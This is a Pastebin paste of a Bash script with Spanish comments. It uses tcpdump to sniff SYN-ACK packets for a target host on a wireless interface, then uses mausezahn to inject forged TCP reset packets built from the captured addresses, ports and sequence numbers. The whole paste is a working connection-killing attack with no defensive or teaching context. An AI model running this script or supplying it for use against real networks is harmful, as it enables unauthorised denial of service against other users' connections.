Advertisement
Guest User

Untitled

a guest
Nov 23rd, 2012
308
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.11 KB | None | 0 0
  1. #script by The Monster of cookies
  2. #!/bin/bash
  3.   tcpdump -i wlan0 host 192.168.0.107 and  -S -n -e -l  'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)'  | awk '{
  4.  
  5.  
  6.  CONVFMT="%u";
  7.  
  8.  
  9.  srand();
  10.  
  11.  
  12. #recogemos las variables de la salida tcpdump
  13.  dst_mac = $2;
  14.  src_mac = $4;
  15.  split($12, dst, ".");
  16.  split($10, src, ".");
  17.  src_ip = src[1]"."src[2]"."src[3]"."src[4];
  18.  
  19.  dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
  20.  src_port = substr(src[5], 1, length(src[5]));
  21.  
  22.  
  23.  dst_port = substr(dst[5], 1, length(dst[5])-1);
  24. #  recogemos el ack number para poder mandar paquetes licitos
  25.  seq_num = $18  ;
  26.  
  27. # le pasamos la informacion a mausehn
  28.  
  29.  
  30.  exec_string= "mz wlan0 -c 10   -A "dst_ip"  -B " src_ip " -a "src_mac"   -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ", s="seq_num " sp="dst_port" \"  " ;
  31. # Display some helpful debugging info.. input vs. output
  32.  print "[in] "$1 " "$2 " "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19;
  33.  
  34.  
  35.  print "[out] "exec_string;
  36.  
  37. # Injectamos los paquetes con Mausehn
  38.  system(exec_string);
  39.  
  40.  
  41. }'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement